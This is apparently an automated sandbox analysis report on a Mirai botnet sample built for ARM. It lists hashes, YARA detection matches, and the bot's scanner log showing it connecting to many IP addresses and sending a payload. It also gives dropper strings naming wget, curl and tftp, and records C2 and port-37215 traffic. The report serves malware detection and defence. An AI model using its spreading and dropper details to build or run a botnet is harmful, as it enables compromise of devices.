Edit tour

Linux Analysis Report
apep.arm7

Overview

General Information

Sample Name:	apep.arm7
Analysis ID:	575330
MD5:	76d1af8a4d08bc4747c5e0a4a1a3cdb9
SHA1:	46045bdfc935e8fc8c027f2f0c046895ebba75ee
SHA256:	bc323d487ab3b5b93fdebeead10c867763d4aebc15ef82390649e5c4572c20dc
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Contains symbols with names commonly found in malware

Found strings indicative of a multi-platform dropper

Yara signature match

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

HTTP GET or POST without a user agent

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	575330
Start date:	20.02.2022
Start time:	16:01:58
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	apep.arm7
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal88.spre.troj.linARM7@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/apep.arm7
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:	DEBUG MODE YO [main] we are the only process on this system! [watchdog] failed to find a valid watchdog driver, bailing out DEBUG MODE YO [main] we are the only process on this system! [scanner_huawei] scanner process initialized. scanning started. [scanner] FD5 connected to 41.62.109.122 [scanner] FD5 sending payload [scanner] FD5 finnished [scanner] FD6 connected to 156.250.23.26 [scanner] FD6 sending payload [scanner] FD5 connected to 156.244.114.4 [scanner] FD5 sending payload [scanner] FD5 connected to 94.187.117.133 [scanner] FD5 sending payload [scanner] FD5 finnished [scanner] FD5 connected to 154.38.239.181 [scanner] FD5 sending payload [scanner] FD8 connected to 154.38.255.132 [scanner] FD8 sending payload [scanner] FD9 connected to 154.38.225.50 [scanner] FD9 sending payload [scanner] FD6 connected to 154.210.84.194 [scanner] FD6 sending payload [scanner] FD7 connected to 154.90.55.250 [scanner] FD7 sending payload [scanner] FD10 connected to 154.210.97.206 [scanner] FD10 sending payload [scanner] FD11 connected to 154.31.21.130 [scanner] FD11 sending payload [scanner] FD16 connected to 154.209.88.245 [scanner] FD16 sending payload [scanner] FD12 connected to 154.201.24.196 [scanner] FD12 sending payload [scanner] FD13 connected to 154.221.3.33 [scanner] FD13 sending payload [scanner] FD15 connected to 154.209.165.223 [scanner] FD15 sending payload [scanner] FD14 connected to 154.212.245.2 [scanner] FD14 sending payload [scanner] FD18 connected to 181.200.153.231 [scanner] FD19 connected to 181.200.241.32 [scanner] FD18 sending payload [scanner] FD19 sending payload [scanner] FD13 finnished [scanner] FD14 finnished [scanner] FD7 finnished [scanner] FD7 connected to 156.224.23.181 [scanner] FD7 sending payload [scanner] FD12 connected to 156.254.40.29 [scanner] FD12 sending payload [scanner] FD13 connected to 156.247.29.226 [scanner] FD13 sending payload [scanner] FD25 connected to 156.254.60.240 [scanner] FD25 sending payload [scanner] FD14 connected to 156.254.54.185 [scanner] FD14 sending payload [scanner] FD18 connected to 156.245.56.36 [scanner] FD18 sending payload [scanner] FD22 connected to 156.245.33.173 [scanner] FD22 sending payload [scanner] FD21 connected to 156.226.35.252 [scanner] FD21 sending payload [scanner] FD24 connected to 156.226.65.104 [scanner] FD24 sending payload [scanner] FD23 connected to 156.244.115.145 [scanner] FD23 sending payload [scanner] FD19 connected to 156.238.51.105 [scanner] FD19 sending payload [scanner] FD16 connected to 156.247.18.219 [scanner] FD16 sending payload [scanner] FD7 finnished [scanner] FD16 finnished [scanner] FD7 connected to 154.38.252.11 [scanner] FD5 connected to 154.91.191.62 [scanner] FD6 connected to 154.93.37.27 [scanner] FD7 sending payload [scanner] FD5 sending payload [scanner] FD6 sending payload [scanner] FD9 connected to 154.214.128.248 [scanner] FD9 sending payload [scanner] FD8 connected to 154.23.176.232 [scanner] FD8 sending payload [scanner] FD12 connected to 154.203.12.234 [scanner] FD12 sending payload [scanner] FD14 connected to 154.89.68.27 [scanner] FD14 sending payload [scanner] FD15 connected to 154.89.98.190 [scanner] FD15 sending payload [scanner] FD19 connected to 154.212.194.117 [scanner] FD19 sending payload [scanner] FD16 connected to 154.89.72.100 [scanner] FD16 sending payload [scanner] FD17 connected to 154.204.235.166 [scanner] FD17 sending payload [scanner] FD18 connected to 154.220.64.13 [scanner] FD18 sending payload [scanner] FD13 connected to 154.204.237.234 [scanner] FD21 connected to 154.204.216.207 [scanner] FD13 sending payload [scanner] FD21 sending payload [scanner] FD20 connected to 154.212.207.4 [scanner] FD20 sending payload [scanner] FD11 connected to 154.209.171.137 [scanner] FD11 sending payload [scanner] FD10 connected to 154.209.138.111 [scanner] FD10 sending payload [scanner] FD8 finnished [scanner] FD12 finnished [scanner] FD13 finnished [scanner] FD18 finnished [scanner] FD19 finnished [scanner] FD20 finnished [scanner] FD6 connected to 181.200.60.103 [scanner] FD6 sending payload [scanner] FD9 connected to 154.38.249.94 [scanner] FD9 sending payload [scanner] FD12 connected to 154.90.63.124 [scanner] FD12 sending payload DEBUG MODE YO [main] we are the only process on this system! [scanner_huawei] scanner process initialized. scanning started. [scanner] FD5 connected to 94.24.53.32 [scanner] FD5 sending payload [scanner] FD6 connected to 94.187.112.28 [scanner] FD6 sending payload [scanner] FD5 finnished [scanner] FD6 finnished [scanner] FD5 connected to 190.203.163.29 [scanner] FD5 sending payload [scanner] FD6 connected to 122.195.200.47 [scanner] FD5 finnished [scanner] FD6 sending payload [scanner] FD6 connected to 154.210.83.69 [scanner] FD7 connected to 154.213.68.98 [scanner] FD8 connected to 154.26.228.4 [scanner] FD9 connected to 154.26.217.85 [scanner] FD10 connected to 154.93.33.217 [scanner] FD6 sending payload [scanner] FD7 sending payload [scanner] FD8 sending payload [scanner] FD9 sending payload [scanner] FD10 sending payload [scanner] FD16 connected to 154.212.166.9 [scanner] FD16 sending payload [scanner] FD13 connected to 154.197.237.53 [scanner] FD13 sending payload [scanner] FD11 connected to 154.213.90.28 [scanner] FD11 sending payload [scanner] FD14 connected to 154.213.95.39 [scanner] FD14 sending payload [scanner] FD15 connected to 154.204.220.109 [scanner] FD15 sending payload [scanner] FD12 connected to 154.209.133.179 [scanner] FD12 sending payload [scanner] FD17 connected to 154.209.177.184 [scanner] FD18 connected to 154.210.127.102 [scanner] FD17 sending payload [scanner] FD18 sending payload [scanner] FD21 connected to 181.200.137.229 [scanner] FD21 sending payload [scanner] FD19 connected to 181.200.141.244 [scanner] FD22 connected to 181.200.217.103 [scanner] FD23 connected to 181.200.235.57 [scanner] FD19 sending payload [scanner] FD22 sending payload [scanner] FD23 sending payload [scanner] FD20 connected to 181.200.129.175 [scanner] FD20 sending payload [scanner] FD13 finnished [scanner] FD11 finnished [scanner] FD12 finnished [scanner] FD15 finnished [scanner] FD6 finnished [scanner] FD10 finnished [scanner] FD9 finnished [scanner] FD8 finnished [scanner] FD7 finnished [scanner] FD6 connected to 156.254.93.217 [scanner] FD6 sending payload [scanner] FD8 connected to 156.241.8.241 [scanner] FD8 sending payload [scanner] FD7 connected to 156.238.18.22 [scanner] FD7 sending payload [scanner] FD9 connected to 156.241.98.156 [scanner] FD9 sending payload [scanner] FD10 connected to 156.59.45.198 [scanner] FD10 sending payload [scanner] FD11 connected to 138.99.60.133 [scanner] FD11 sending payload [scanner] FD11 finnished [scanner] FD9 finnished [scanner] FD10 finnished [scanner] FD6 connected to 154.93.41.151 [scanner] FD5 connected to 154.90.54.61 [scanner] FD6 sending payload [scanner] FD7 connected to 154.23.183.8 [scanner] FD5 sending payload [scanner] FD7 sending payload [scanner] FD16 connected to 154.204.19.53 [scanner] FD16 sending payload [scanner] FD9 connected to 154.210.107.91 [scanner] FD9 sending payload [scanner] FD12 connected to 154.204.199.104 [scanner] FD12 sending payload [scanner] FD10 connected to 154.204.230.243 [scanner] FD11 connected to 154.212.244.244 [scanner] FD13 connected to 154.220.6.188 [scanner] FD10 sending payload [scanner] FD11 sending payload [scanner] FD13 sending payload [scanner] FD15 connected to 154.220.21.251 [scanner] FD15 sending payload [scanner] FD14 connected to 154.209.158.208 [scanner] FD14 sending payload [scanner] FD8 connected to 154.222.27.12 [scanner] FD8 sending payload [scanner] FD8 finnished [scanner] FD6 connected to 181.200.127.128 [scanner] FD6 sending payload [scanner] FD14 connected to 154.12.36.20 [scanner] FD14 sending payload [scanner] FD8 connected to 154.210.84.87 [scanner] FD8 sending payload [scanner] FD9 connected to 154.93.56.217 [scanner] FD9 sending payload [scanner] FD17 connected to 154.23.139.71 [scanner] FD17 sending payload [scanner] FD16 connected to 154.23.180.154 [scanner] FD16 sending payload [scanner] FD20 connected to 154.86.31.125 [scanner] FD20 sending payload [scanner] FD21 connected to 154.222.21.97 [scanner] FD21 sending payload [scanner] FD19 connected to 154.201.27.246 [scanner] FD19 sending payload
Standard Error:

Process Tree

system is lnxubuntu20

apep.arm7 (PID: 5212, Parent: 5107, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/apep.arm7

apep.arm7 New Fork (PID: 5216, Parent: 5212)

apep.arm7 New Fork (PID: 5218, Parent: 5212)

apep.arm7 New Fork (PID: 5219, Parent: 5212)

apep.arm7 New Fork (PID: 5221, Parent: 5212)

dash New Fork (PID: 5264, Parent: 4331)

rm (PID: 5264, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.bBK0INLgnl /tmp/tmp.lf1W4ps2SD /tmp/tmp.znZCFKrI3H

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
apep.arm7	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x17acc:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17b40:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17bb4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17c04:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17c78:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17d08:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17d5c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17dd4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17e24:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
apep.arm7	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x16930:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
apep.arm7	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x17acc:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17b40:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17bb4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17c04:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17c78:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17d08:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17d5c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17dd4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17e24:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x16930:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x17acc:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17b40:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17bb4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17c04:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17c78:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17d08:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17d5c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17dd4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x17e24:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x16930:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5216.1.00000000897afae6.00000000ae2aa1e5.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x38b0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3928:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x39a0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x39f8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3a70:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b08:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b60:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3bd8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3c30:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
5212.1.00000000897afae6.0000000084b9e534.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x38b0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3928:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x39a0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x39f8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3a70:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b08:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b60:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3bd8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3c30:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
Click to see the 3 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: apep.arm7	Virustotal: Detection: 47%			Perma Link
Source: apep.arm7	ReversingLabs: Detection: 51%

Spreading

Found strings indicative of a multi-platform dropper

Source: apep.arm7

String: apep.x86apep.mipsapep.mpslapep.armapep.arm5apep.arm6apep.arm7apep.ppcapep.spcapep.m68kapep.sh4cbdeleteddlr.mipsdlr.mpsldlr.armdlr.arm5dlr.arm6dlr.arm7dlr.ppcdlr.spcdlr.m68kdlr.sh4/wget/curl/tftp/proc//exe[killer] killing: %s pid: %s

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 95.181.37.166: -> 192.168.2.23:
Source: Traffic	Snort IDS: 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 192.168.2.23:27221 -> 197.92.132.79:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.9.28.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.107.90 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35448
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33946
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 55066
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
